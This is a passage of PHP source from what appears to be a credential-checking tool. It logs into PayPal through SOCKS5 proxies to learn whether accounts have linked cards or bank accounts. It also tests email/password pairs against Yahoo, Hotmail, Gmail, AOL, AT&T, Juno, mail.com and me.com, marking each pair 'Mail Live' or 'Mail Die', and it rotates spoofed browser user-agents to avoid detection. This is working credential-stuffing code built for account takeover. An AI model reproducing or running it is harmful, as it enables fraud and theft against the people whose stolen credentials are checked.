  698.                                 $pka = "<font color='yellow'>Have Card";
  699.                                 foreach ($sk[0] as $sd1)
  700.                                 {
  701.                                         $sd1 = "<td>".$sd1;
  702.                                         preg_match_all('/<td>(.*?)<\/td>/is',$sd1,$sk1);
  703.                                         preg_match_all('/<img src="(.*?)" border="0" alt="(.*?)">/is',$sk1[1][0],$sd2);
  704.                                         $pka  =  $pka." | ".trim($sd2[2][0])." - ".trim($sk1[1][1])." - ".trim($sk1[1][2]);
  705.                                 }
  706.                         $pka = $pka."</font>";
  707.                         return $pka;
  708.                         }
  709.                 }
  710.                 else
  711.                 return "<font color='red'> CHECK CARD ERROR </font>";
  712.         }
  713.        
  714. ################
  715. /*function GETINFO($sock) {
  716.         $site = "https://www.paypal.com/us/cgi-bin/webscr?cmd=_profile-credit-card-new-clickthru&flag_from_account_summary=1&nav=0.5.2";
  717.         $response = $this->curl_get($site, false, $sock, "http://www.paypal.com");
  718.         $checkcard = strpos($response, "Last 4 digits on card");
  719.         $checkcard1 = strpos($response, "Last four digits on card");
  720.         preg_match_all('/s.pageName="(.*?)";/is',$response,$pageName);
  721.                         if(($this->inStr($pageName[1][0], "F: Add CC")) || ($this->inStr($pageName[1][0], "Add"))) return "<font color=red>NOT CARD</font>";
  722.                         elseif(($this->inStr($pageName[1][0], "Profile")) || ($checkcard) || ($checkcard1) ){
  723.                                
  724.        
  725.         /*$checkcard = strpos($response, "Last 4 digits on card");
  726.         $checkcard1 = strpos($response, "Last four digits on card");
  727.         if((!$checkcard) && (!$checkcard1))
  728.         {
  729.                 return false;
  730.         }else{
  731.                
  732.                 $temp = $this->getStr1($response,'.gif" border="0" alt="','">');
  733.                 $_type = $temp[0];
  734.                 $temp = $this->getStr1($temp[1],'<td>','</td>');
  735.                 $_4digit = $temp[0];
  736.                 $temp = $this->getStr1($temp[1],'<td>','</td>');
  737.                 $_exp = $temp[0];
  738.                 //$infocard = "$_type $_4digit $_exp | ";
  739.                 $infocard = "<font color=yellow>$_type $_4digit $_exp</font> | ";
  740.         }
  741.  
  742.  
  743.         $site = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-address&nav=0.5.3";
  744.         $response = $this->curl_get($site, false, $sock, "http://www.paypal.com");
  745.         $info = $this->getStr($response,'<span class="emphasis">','</span>');
  746.         $info = str_replace("<br>"," | ",$info);
  747.        
  748.        
  749.         /*$info = $this->infocard($response);
  750.         $site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_profile-address&nav=0.5.3";
  751.         $response1 = $this->curl_get($site1, false, $sock, "http://www.paypal.com");
  752.         $info1=$this->infopp($response1);
  753.         $info .= $info1;
  754.        
  755.         $info = $infocard.$info;
  756.        
  757.         //$sitemail = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-email";
  758.         //$s = $this->curl_get($sitemail,false,$sock,"http://www.paypal.com");
  759.         //$mail = $this->getStr($s,'emailList-','"');
  760.        
  761.         /*$sitephone = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-phone";
  762.         $s = $this->curl_get($sitephone,false,$sock,"http://www.paypal.com");
  763.         $phone = $this->getStr($this->getStr($s,'checked name="phone" value="','</td>'),'">','</label>');      
  764.        
  765.         $info = $info.$phone.' | '.$mail;*/
  766.         //return $info;
  767. //}*/
  768.  
  769.         function infobank($info)
  770.         {
  771.                 if($info)
  772.                 {
  773.                         preg_match_all('/s.pageName="(.*?)";/is',$info,$pageName);
  774.                         if(($this->inStr($pageName[1][0], "Enter Bank Details")) || ($this->inStr($pageName[1][0], "AddBankManualDisabled"))) return "<font color='red'>Not Bank</font>";
  775.                         elseif($this->inStr($pageName[1][0], "Profile")) return "<font color='yellow'>Have Bank</font>";
  776.                 }
  777.                 else
  778.                 return "<font color='red'> CHECK BANK ERROR </font>";
  779.         }
  780. function GETBANK($sock,$cookiejar) {
  781.         $site = "https://www.paypal.com/uk/cgi-bin/webscr?cmd=_profile-ach&nav=0.5.1";
  782.         $response = $this->curl_get($site, false, $sock, "http://www.paypal.com");
  783.         /*$checkbank = preg_match("/Add a bank account/i", $response);
  784.         $checkbank1 = preg_match("/Link your bank account/i",$response);
  785.         if(($checkbank)||($checkbank1))
  786.         {
  787.                 return "<font color=red>NOT BANK</font>";
  788.         }
  789.         else
  790.         {
  791.  
  792.                 //$_bank = $temp[0];
  793.                 //preg_match_all('/<td class="heavy">([\w\W]*?)<\/td>/is',$response, $matches);
  794.                 //$_status = $temp[0];
  795.                 $infobank= "<font color=green>HAVE BANK</font>";
  796.                 return $infobank;
  797.         }*/
  798.         $infobank= $this->infobank($response);
  799.         return $infobank;
  800. }
  801.  
  802.  
  803.  
  804.  
  805.  
  806.  
  807.  
  808.  
  809.  
  810.  
  811.  
  812.  
  813.  
  814.  
  815. ############
  816. /*function GETBANK($sock) {
  817.         $site = "https://www.paypal.com/uk/cgi-bin/webscr?cmd=_profile-ach&nav=0.5.1";
  818.         $response = $this->curl_get($site, false, $sock, "http://www.paypal.com");
  819.         $checkbank = preg_match("/Add a bank account/i", $response);
  820.         $checkbank1 = preg_match("/Link your bank account/i",$response);
  821.         if(($checkbank)||($checkbank1))
  822.         {
  823.                 return "<font color=red>NOT BANK</font>";
  824.         }
  825.         else
  826.         {
  827.  
  828.                 //$_bank = $temp[0];
  829.                 //preg_match_all('/<td class="heavy">([\w\W]*?)<\/td>/is',$response, $matches);
  830.                 //$_status = $temp[0];
  831.                 $infobank= "<font color=green>HAVE BANK</font>";
  832.                 return $infobank;
  833.         }
  834. }*/
  835.  
  836. function getStr1($string,$start,$end){
  837.         $str = explode($start,$string,2);
  838.         $str = explode($end,$str[1],2);
  839.         return $str;
  840. }
  841.  
  842.  
  843. function getStr($string,$start,$end){
  844.         $str = explode($start,$string);
  845.         $str = explode($end,$str[1]);
  846.         return $str[0];
  847. }
  848.  
  849.  
  850. function getHiddenFormInputs($html) {
  851.         if(!preg_match('|<form[^>]+login_form[^>]+>.*</form>|Usi', $html, $form)) {
  852.                 return '';
  853.         }
  854.         if(!preg_match_all('/<input[^>]+hidden[^>]*>/i', $form[0], $inputs)) {
  855.                 return '';
  856.         }
  857.         $hiddenInputs = array();
  858.         foreach($inputs[0] as $input){
  859.                 if (preg_match('|name\s*=\s*[\'"]([^\'"]+)[\'"]|i', $input, $name)) {
  860.                         $hiddenInputs[$name[1]] = '';
  861.                         if (preg_match('|value\s*=\s*[\'"]([^\'"]*)[\'"]|i', $input, $value)) {
  862.                                 $hiddenInputs[$name[1]] = $value[1];
  863.                         }
  864.                 }
  865.         }
  866.         return $hiddenInputs;
  867. }
  868.  
  869. function serializePostFields($postFields) {
  870.         foreach($postFields as $key => $value) {
  871.                 $value = urlencode($value);
  872.                 $postFields[$key] = "$key=$value";
  873.         }
  874.         $postFields = implode($postFields, '&');
  875.         return $postFields;
  876. }
  877.  
  878. function rmdirr($dirname){
  879.         if (!file_exists($dirname)){
  880.                         echo "Not found folder";
  881.                         return false;
  882.         }
  883.         if (is_file($dirname)) {
  884.                 return unlink($dirname);
  885.         }
  886.         $dir = dir($dirname);
  887.         while (false !== $entry = $dir->read()) {
  888.                 if ($entry == '.' || $entry == '..') {
  889.                         continue;
  890.                 }
  891.         rmdirr("$dirname/$entry");
  892.         }
  893.         $dir->close();
  894.         return rmdir($dirname);
  895. }
  896.  
  897. function yahoo($mail,$pass, $_sock){
  898.         $random_text = array("fr",
  899.                     "co.uk",
  900.                     "vn",
  901.                     "ag",                    "br",
  902.                     "ag",                    "ca",
  903.                     "al",
  904.                     "co",
  905.                     "cl",
  906.                     "mx",
  907.                     "pe",
  908.                     "ve",
  909.                     "qc",
  910.                     "dk",
  911.                     "de",
  912.                     "ie",
  913.                     "it",
  914.                     "ar",);
  915.         srand(time());
  916.         $sizeof = count($random_text);
  917.         $random = (rand()%$sizeof);
  918.         $url="http://login.yahoo.com/config/login?.intl=".$random_text[$random]."&.src=ym&login=".$mail."&passwd=".$pass;
  919.         $curl=curl_init();
  920.         curl_setopt($curl, CURLOPT_TIMEOUT, 4);
  921.         curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  922.         curl_setopt($curl, CURLOPT_HEADER, true);
  923.         curl_setopt($curl, CURLOPT_URL, $url);
  924.                 if($_sock){
  925.                         curl_setopt($curl, CURLOPT_PROXY, $_sock);
  926.                         curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  927.         }
  928.         curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
  929.         curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);
  930.         $xxx=curl_exec($curl);
  931.         curl_close($curl);
  932.         if(stristr($xxx,"yahoo.com")){
  933.                 return 0;
  934.         }else{
  935.                 return 1;
  936.         }
  937. }
  938.  
  939. function netzero($mail,$pass, $_sock){
  940.         $url = "https://my.netzero.net/start/login.do";
  941.         $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
  942.         $postvars =
  943.         "operation=login&gotoURL=http%3A%2F%2Fmy.netzero.net%2Fstart%2Fwebmail.do%3Fcf%3Dwww&memberId=".$mail."&netzero.net=netzero.com&password=".$pass."&x=56&y=10";
  944.         $cookie = "cookies/netzero";
  945.         @unlink($cookie);
  946.         $curl = curl_init($url);
  947.         curl_setopt($curl, CURLOPT_TIMEOUT, 4);
  948.         curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
  949.         curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
  950.         curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);
  951.         curl_setopt($curl, CURLOPT_HEADER, 1);
  952.         curl_setopt($curl, CURLOPT_POST, 1);
  953.         if($_sock){
  954.                         curl_setopt($curl, CURLOPT_PROXY, $_sock);
  955.                         curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  956.         }
  957.         curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars);
  958.         curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail);
  959.         // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  960.         curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  961.         $content = curl_exec ($curl);
  962.         curl_close ($curl);
  963.         unset($curl);
  964.         if(stristr($content,"The Member ID or Password you have entered is incorrect")){
  965.                 return 0;
  966.         }
  967.         else{
  968.                 return 1;
  969.         }
  970. }
  971.  
  972. function hotmail($username, $password){
  973.         $cookie = 'mail'.rand(1000000,9999999).'123.txt';
  974.         @fclose(fopen($cookie,'w'));
  975.        
  976.         $url = "http://www.hotmail.com";
  977.         $s = $this->_curl($url,"",$cookie);
  978.         $link = $this->getStr($s,'var g_QS="','"');
  979.         $link = "https://login.live.com/ppsecure/post.srf?".$link;
  980.        
  981.         $PPFTid = $this->getStr($s,'PPFT" id="','"');
  982.         $PPFTvalue = $this->getStr($s,$PPFTid.'" value="','"');
  983.         $post = "login=".$username."&passwd=".$password."&type=11&LoginOptions=2&MEST=&PPSX=Passp&PPFT=".$PPFTvalue."&idsbho=1&PwdPad=&sso=&i1=1&i2=2&i3=6382&i4=";
  984.        
  985.         $s = $this->_curl($link,$post,$cookie);
  986.         unlink($cookie);
  987.         if(stristr($s,'window.location.replace("http://mail.live.com/default')){
  988.                 return TRUE;
  989.         }
  990.         else{
  991.                 return FALSE;
  992.         }
  993. }
  994.  
  995. function gmail($mail,$pass, $_sock){
  996.         $api = new analytics_api();
  997.         if($api->login($mail, $pass, $_sock)) {
  998.                 return 1;
  999.         }else{
  1000.                 return 0;
  1001.         }
  1002. }
  1003.  
  1004. function att($mail,$pass, $_sock){
  1005.         $url = "https://webauth.att.net/auth/webmail/login";
  1006.         $xax=explode("@",$mail);
  1007.         $domain1=trim($xax[0]);
  1008.         $domain2=trim($xax[1]);
  1009.         $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
  1010.         $postvars =
  1011.         "passurl=http%3A%2F%2Fwebmail.att.net%2Fwmc%2Fen-US%2Fv%2Fwmgoto%2F4B308384000C20E4000040702223064702&locale=en-US&user=".$mail."&user1=".$domain1."&domain=".$domain2."&passwd=".$pass."&login.x=19&login.y=9&login=Login";
  1012.         $cookie = "cookies/att";
  1013.         @unlink($cookie);
  1014.         $curl = curl_init($url);
  1015.         curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
  1016.         curl_setopt($curl, CURLOPT_TIMEOUT, 4);
  1017.         curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
  1018.         curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);
  1019.         curl_setopt($curl, CURLOPT_HEADER, 1);
  1020.         curl_setopt($curl, CURLOPT_POST, 1);
  1021.         if($_sock){
  1022.                         curl_setopt($curl, CURLOPT_PROXY, $_sock);
  1023.                         curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  1024.         }
  1025.         curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars);
  1026.         curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail);
  1027.         // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  1028.         curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1029.         $content = curl_exec ($curl);
  1030.         curl_close ($curl);
  1031.         unset($curl);
  1032.         if(stristr($content,"Please check and re-enter your e-mail username, domain, and password")){
  1033.                 return 0;
  1034.         }else{
  1035.                 return 1;
  1036.         }
  1037. }
  1038.  
  1039. function aol($mail,$pass, $_sock){
  1040.         $url = "https://my.screenname.aol.com/_cqr/login/login.psp";
  1041.         $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
  1042.         $postvars =
  1043.         "screenname=".$mail."&password=".$pass."&submitSwitch=1&siteId=aolcomprod&mcState=initialized&authLev=1";
  1044.         $cookie = "cookies/aol";
  1045.         @unlink($cookie);
  1046.         $curl = curl_init($url);
  1047.         curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
  1048.         curl_setopt($curl, CURLOPT_TIMEOUT, 4);
  1049.         curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
  1050.         curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);
  1051.         curl_setopt($curl, CURLOPT_HEADER, 1);
  1052.         curl_setopt($curl, CURLOPT_POST, 1);
  1053.         if($_sock){
  1054.                         curl_setopt($curl, CURLOPT_PROXY, $_sock);
  1055.                         curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  1056.         }
  1057.         curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars);
  1058.         curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail);
  1059.         // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  1060.         curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1061.         $content = curl_exec ($curl);
  1062.         curl_close ($curl);
  1063.         unset($curl);
  1064.         if(stristr($content,"Incorrect Username or Password.")){
  1065.                 return 0;
  1066.         }else{
  1067.                 return 1;
  1068.         }
  1069. }
  1070.  
  1071. function juno($mail,$pass, $_sock){
  1072.         $url = "https://webmail.juno.com/cgi-bin/login.cgi?rememberMe=0";
  1073.         $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
  1074.         $postvars =
  1075.         "LOGIN=".$mail."&PASSWORD=".$pass."&ajaxSupported=2%2F61220&domain=juno.com";
  1076.         $cookie = "cookies/juno";
  1077.         @unlink($cookie);
  1078.         $curl = curl_init($url);
  1079.         curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
  1080.         curl_setopt($curl, CURLOPT_TIMEOUT, 4);
  1081.         curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
  1082.         curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);
  1083.         curl_setopt($curl, CURLOPT_HEADER, 1);
  1084.         curl_setopt($curl, CURLOPT_POST, 1);
  1085.         if($_sock){
  1086.                         curl_setopt($curl, CURLOPT_PROXY, $_sock);
  1087.                         curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  1088.         }
  1089.         curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars);
  1090.         curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail);
  1091.         // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  1092.         curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1093.         $content = curl_exec ($curl);
  1094.         curl_close ($curl);
  1095.         unset($curl);
  1096.         if(stristr($content,"match our files. Please re-enter your Juno username and password")){
  1097.                 return 0;
  1098.         }else{
  1099.                 return 1;
  1100.         }
  1101. }
  1102.  
  1103. function mmail($mail,$pass, $_sock){
  1104.         $url = "https://www.mail.com/auth/login.aspx";
  1105.         $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
  1106.         $postvars ="login=".$mail."&password=".$pass;
  1107.         $cookie = "cookies/mmail";
  1108.         @unlink($cookie);
  1109.         $curl = curl_init($url);
  1110.         curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
  1111.         curl_setopt($curl, CURLOPT_TIMEOUT, 4);
  1112.         curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
  1113.         curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);
  1114.         curl_setopt($curl, CURLOPT_HEADER, 1);
  1115.         curl_setopt($curl, CURLOPT_POST, 1);
  1116.         if($_sock){
  1117.                         curl_setopt($curl, CURLOPT_PROXY, $_sock);
  1118.                         curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  1119.         }
  1120.         curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars);
  1121.         curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail);
  1122.         // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  1123.         curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1124.         $content = curl_exec ($curl);
  1125.         curl_close ($curl);
  1126.         unset($curl);
  1127.         if(stristr($content,"Invalid username")){
  1128.                 return 0;
  1129.         }else{
  1130.                 return 1;
  1131.         }
  1132. }
  1133.  
  1134. function mac($mail,$pass, $_sock){
  1135.         $url = "https://auth.me.com/authenticate";
  1136.         $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
  1137.         $postvars =
  1138.         "returnURL=aHR0cDovL3d3dy5tZS5jb20vbWFpbC8%3D&service=mail&ssoNamespace=primary-me&anchor=account&cancelURL=http%3A%2F%2Fwww.me.com%2Fmail&formID=loginForm&username=".$mail."&password=".$pass;
  1139.         $cookie = "cookies/mac";
  1140.         @unlink($cookie);
  1141.         $curl = curl_init($url);
  1142.         curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
  1143.         curl_setopt($curl, CURLOPT_TIMEOUT, 4);
  1144.         curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
  1145.         curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1);
  1146.         curl_setopt($curl, CURLOPT_HEADER, 1);
  1147.         curl_setopt($curl, CURLOPT_POST, 1);
  1148.         if($_sock){
  1149.                         curl_setopt($curl, CURLOPT_PROXY, $_sock);
  1150.                         curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  1151.         }
  1152.         curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars);
  1153.         curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail);
  1154.         // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  1155.         curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1156.         $content = curl_exec ($curl);
  1157.         curl_close ($curl);
  1158.         unset($curl);
  1159.         if(stristr($content,"Incorrect member name or password.")){
  1160.                 return 0;
  1161.         }else{
  1162.                 return 1;
  1163.         }
  1164. }
  1165.  
  1166. function getmail($xSplit,$xMail,$xPass, $_sock){
  1167.         $R_split=$xSplit;
  1168.         $mail_text=$xMail;
  1169.         $pass_text=$xPass;
  1170.         $pieces['xMail'] = $mail_text;
  1171.         $pieces['xPass'] = $pass_text;
  1172.         if(stristr($pieces['xMail'],"yahoo.")||stristr($pieces['xMail'],"ymail.")||stristr($pieces['xMail'],"rocketmail.")){
  1173.                 $servername = "Yahoo";
  1174.                 $k = $this->yahoo($pieces['xMail'],$pieces['xPass'], $_sock);
  1175.                 if ($k==0){
  1176.                         $status="<font color=red>Mail Die</font> - ".$servername."";
  1177.                 }else{
  1178.                         $status="<font color=green>Mail Live</font> - ".$servername."";
  1179.                 }
  1180.         }
  1181.         elseif(stristr($pieces['xMail'],"hotmail.")||stristr($pieces['xMail'],"live.")){
  1182.                 $servername = "Hotmail";
  1183.                 if ($this->hotmail($pieces['xMail'],$pieces['xPass'], $_sock)){
  1184.                         $status="<font color=green>Mail Live</font> - ".$servername."";
  1185.                 }
  1186.                 else{
  1187.                         $status="<font color=red>Mail Die</font> - ".$servername."";
  1188.                 }
  1189.         }elseif(stristr($pieces['xMail'],"gmail.")||stristr($pieces['xMail'],"googlemail.")){
  1190.                 $servername = "Gmail";
  1191.                 $k = $this->gmail($pieces['xMail'],$pieces['xPass'], $_sock);
  1192.                 if ($k==0){
  1193.                         $status="<font color=red>Mail Die</font> - ".$servername."";
  1194.                 }
  1195.                 else{
  1196.                         $status="<font color=green>Mail Live</font> - ".$servername."";
  1197.                 }
  1198.         }elseif(stristr($pieces['xMail'],"aol.")||stristr($pieces['xMail'],"netscape.")){
  1199.                 $servername = "AOL";
  1200.                 $aolname = str_replace("@aol.com","",$pieces['xMail'], $_sock);
  1201.                 $kaol = $this->aol($aolname,$pieces['xPass'], $_sock);
  1202.                 if ($kaol==0){
  1203.                         $status="<font color=red>Mail Die</font> - ".$servername."";
  1204.                 }
  1205.                 else{
  1206.                         $status="<font color=green>Mail Live</font> - ".$servername."";
  1207.                 }
  1208.         }elseif(stristr($pieces['xMail'],"juno")){
  1209.                 $servername = "Juno";
  1210.                 $kjuno = $this->juno($pieces['xMail'],$pieces['xPass'], $_sock);
  1211.                 if ($kjuno==0){
  1212.                         $status="<font color=red>Mail Die</font> - ".$servername."";
  1213.                 }
  1214.                 else{
  1215.                         $status="<font color=green>Mail Live</font> - ".$servername."";
  1216.                 }
  1217.         }elseif(stristr($pieces['xMail'],"mac.")||stristr($pieces['xMail'],"me.")){
  1218.                 $servername = "Me-Mac";
  1219.                 $kmac = $this->mac($pieces['xMail'],$pieces['xPass'], $_sock);
  1220.                 if ($kmac==0){
  1221.                         $status="<font color=red>Mail Die</font> - ".$servername."";
  1222.                 }
  1223.                 else{
  1224.                         $status="<font color=green>Mail Live</font> - ".$servername."";
  1225.                 }
  1226.         }elseif(stristr($pieces['xMail'],"netzero.")){
  1227.                 $servername = "Netzero";
  1228.                 $knet = $this->netzero($pieces['xMail'],$pieces['xPass'], $_sock);
  1229.                 if ($knet==0){
  1230.                         $status="<font color=red>Mail Die</font> - ".$servername."";
  1231.                 }
  1232.                 else{
  1233.                         $status="<font color=green>Mail Live</font> - ".$servername."";
  1234.                 }
  1235.         }elseif(stristr($pieces['xMail'],"ameritech.")||stristr($pieces['xMail'],"att.")||stristr($pieces['xMail'],"bellsouth.")||stristr($pieces['xMail'],"flash.")||stristr($pieces['xMail'],"nvbell.")||stristr($pieces['xMail'],"pacbell.")||stristr($pieces['xMail'],"prodigy.")||stristr($pieces['xMail'],"sbcglobal.")||stristr($pieces['xMail'],"snet.")||stristr($pieces['xMail'],"swbell.")||stristr($pieces['xMail'],"wans.")){
  1236.                 $servername = "Att";
  1237.                 $katt = $this->att($pieces['xMail'],$pieces['xPass'], $_sock);
  1238.                 if ($katt==0){
  1239.                         $status="<font color=red>Mail Die</font> - ".$servername."";
  1240.                 }
  1241.                 else{
  1242.                         $status="<font color=green>Mail Live</font> - ".$servername."";
  1243.                 }
  1244.         }
  1245.         else{
  1246.                 $status="<font color=grey>Unknow</font>";
  1247.         }
  1248.         return $status;
  1249. }
  1250.  
  1251.        
  1252.        
  1253.         function get_agent($z){
  1254.                 switch ($z){
  1255.                         case 0: $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"; break;
  1256.                         case 1: $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1";     break;
  1257.                         case 2: $agent= "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)";   break;
  1258.                         case 3: $agent= "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)";   break;
  1259.                         case 4: $agent= "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)";   break;
  1260.                         case 5: $agent= "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";  break;
  1261.                         case 6: $agent= "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9a8) Gecko/2007100619 GranParadiso/3.0a8";      break;
  1262.                         case 7: $agent= "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3";     break;
  1263.                         case 8: $agent= "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4325)";   break;
  1264.                         case 9: $agent= "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)";      break;
  1265.                         case 10:        $agent= "Mozilla/4.0 (compatible; MSIE 5.5b1; Mac_PowerPC)";    break;
  1266.                         case 11:        $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)";  break;
  1267.                         case 12:        $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; MS-RTC LM 8)";      break;
  1268.                         case 13:        $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30)";        break;
  1269.                         case 14:        $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1)";        break;
  1270.                         case 15:        $agent= "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)";    break;
  1271.                         case 16:        $agent= "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)";   break;
  1272.                         case 17:        $agent= "Mozilla/5.0 (X11; U; Linux; it-IT) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.4 (Change: 413 12f13f8)";        break;
  1273.                         case 18:        $agent= "Mozilla/5.0 (X11; U; Linux; en-GB) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 239 52c6958)";        break;
  1274.                         case 19:        $agent= "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.2 (Change: 189 35c14e0)";      break;
  1275.                         case 20:        $agent= "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Avant Browser; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)";       break;
  1276.                         case 21:        $agent= "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable";     break;
  1277.                         case 22:        $agent= "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)";     break;
  1278.                         case 23:        $agent= "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.4pre) Gecko/20070521 Camino/1.6a1pre"; break;
  1279.                         case 24:        $agent= "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA";  break;
  1280.                         case 25:        $agent= "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20021216 Chimera/0.6";  break;
  1281.                         case 26:        $agent= "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.164.0 Safari/530.1";  break;
  1282.                         case 27:        $agent= "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Crazy Browser 3.0.0 Beta2)";     break;
  1283.                         case 28:        $agent= "Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.12) Gecko/20080208 (Debian-1.8.1.12-2) Epiphany/2.20";   break;
  1284.                         case 29:        $agent= "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1";   break;
  1285.                         case 30:        $agent= "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6b) Gecko/20031212 Firebird/0.7+";        break;
  1286.                         case 31:        $agent= "Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5";        break;
